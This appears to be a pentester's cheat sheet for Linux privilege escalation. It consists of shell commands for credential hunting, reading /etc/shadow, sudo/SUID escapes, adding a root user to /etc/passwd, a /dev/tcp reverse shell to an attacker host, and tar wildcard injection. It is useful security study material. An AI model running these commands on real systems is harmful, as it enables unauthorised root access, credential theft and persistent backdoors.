☼
⌃
☰

Linux Privilege Escalation

Table of Contents

Post-exploitation phase on a Linux foothold. Goal is root. Process is structured enumeration followed by exploitation of the first viable vector. Automated tools surface candidates quickly; manual checks confirm and extend findings.

Related: Linux Smart Enumeration LinPEAS GTFOBins Exploitation Post Exploitation Persistence

1. Automated Enumeration

Run these first. Review output before doing anything manually.

SHELL
# LinPEAS — most comprehensive
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# or transfer and run
chmod +x linpeas.sh && ./linpeas.sh | tee linpeas.out

# Linux Smart Enumeration — cleaner output, tiered verbosity
./lse.sh -l 1      # basic
./lse.sh -l 2      # full

2. Manual Enumeration Checklist

System and Kernel

SHELL
uname -a                          # kernel version — check for exploits
cat /etc/os-release               # distro and version
cat /proc/version

Current User Context

SHELL
id                                # uid, gid, groups
whoami
sudo -l                           # what can this user run as root?
cat /etc/sudoers 2>/dev/null

SUID / SGID Binaries

SHELL
find / -perm -4000 -type f 2>/dev/null    # SUID
find / -perm -2000 -type f 2>/dev/null    # SGID

Cross-reference results against GTFOBins.

Capabilities

SHELL
getcap -r / 2>/dev/null
# cap_setuid+ep on python/perl/ruby → trivial root

Writable Files and Directories

SHELL
# World-writable files
find / -writable -type f 2>/dev/null | grep -v proc

# Writable directories in PATH
echo $PATH | tr ':' '\n' | xargs -I{} find {} -writable 2>/dev/null

Cron Jobs

SHELL
cat /etc/crontab
ls -la /etc/cron*
crontab -l
# Watch for running processes — catch cron jobs in flight
watch -n 1 ps aux
# Or use pspy (no root needed)
./pspy64

Interesting Files

SHELL
# Config files with credentials
grep -r "password\|passwd\|secret\|key" /var/www /opt /home 2>/dev/null

# SSH keys
find / -name "id_rsa" -o -name "id_ecdsa" 2>/dev/null
cat ~/.ssh/authorized_keys

# History files
cat ~/.bash_history
cat ~/.zsh_history

# Shadow file (readable = game over)
cat /etc/shadow 2>/dev/null

Network and Services

SHELL
ss -tlnp                          # listening ports
netstat -tlnp 2>/dev/null
cat /etc/hosts

NFS

SHELL
cat /etc/exports
# no_root_squash on a share → mount it from attacker, create SUID binary
showmount -e $IP                  # from attacker

3. Exploitation Vectors

Sudo Abuse

SHELL
sudo -l
# Common exploitable patterns:
sudo /usr/bin/vim       → :!bash
sudo /usr/bin/find      → sudo find / -exec /bin/bash \;
sudo /usr/bin/python3   → sudo python3 -c 'import os; os.system("/bin/bash")'
sudo /usr/bin/less      → !bash (within less)
sudo /usr/bin/awk       → sudo awk 'BEGIN {system("/bin/bash")}'

Check GTFOBins for the exact payload for any binary sudo -l reveals.

SUID Binary Abuse

SHELL
# Find SUID binaries then check GTFOBins for each
find / -perm -4000 -type f 2>/dev/null

# Common quick wins
/usr/bin/find -exec /bin/sh -p \; -quit
/usr/bin/vim -c ':!/bin/sh'
# python, perl, bash with SUID — check GTFOBins for exact payload

Capabilities Abuse

SHELL
# python3 with cap_setuid
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

# perl with cap_setuid
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash"'

Writable /etc/passwd

SHELL
# Generate password hash
openssl passwd -1 -salt xyz hacked

# Append new root user
echo 'hacker:$1$xyz$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker

Cron Job Abuse

SHELL
# If a cron script is world-writable
echo 'bash -i >& /dev/tcp/$ATTACKER/4444 0>&1' >> /path/to/cron_script.sh

# If cron uses a wildcard (tar, chown, chmod)
# Create files named to inject arguments
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=bash shell.sh'

Path Hijacking

SHELL
# If a SUID binary calls a command without full path
strings /usr/local/bin/suid_binary | grep -v '/'   # find relative calls

# Create malicious binary earlier in PATH
export PATH=/tmp:$PATH
echo '/bin/bash -p' > /tmp/targetcommand
chmod +x /tmp/targetcommand
/usr/local/bin/suid_binary

Kernel Exploits

SHELL
uname -r
# Cross-reference against exploit-db or use:
./linux-exploit-suggester.sh
./linux-exploit-suggester-2.pl

# Common: DirtyCow (CVE-2016-5195), overlayfs (CVE-2015-1328)
# Kernel exploits are last resort — noisy and may crash the system

NFS norootsquash

SHELL
# On attacker — mount the share
mkdir /tmp/nfs
mount -t nfs $TARGET:/share /tmp/nfs

# Create SUID bash
cp /bin/bash /tmp/nfs/bash
chmod +s /tmp/nfs/bash

# On target — execute
/share/bash -p

4. Quick Wins to Check First

In order — these resolve the fastest in CTF contexts:

  1. sudo -l — any entry without password is immediate
  2. SUID on find, vim, python, perl, bash
  3. Capabilities on interpreters
  4. World-writable cron scripts
  5. Credentials in files (grep -r password)
  6. Writable /etc/passwd
  7. Kernel version against known CVEs

Tips

  • Run LinPEAS first but do not just follow the red findings blindly — read the full output before acting
  • pspy is essential when cron jobs are the suspected vector — lets you watch process execution in real time without root
  • NFS no_root_squash is frequently overlooked and trivially exploitable — always check /etc/exports
  • Kernel exploits are noisy and can destabilise the target — exhaust all misconfiguration vectors first
  • GTFOBins covers almost every binary you will encounter via SUID or sudo — keep it open throughout enumeration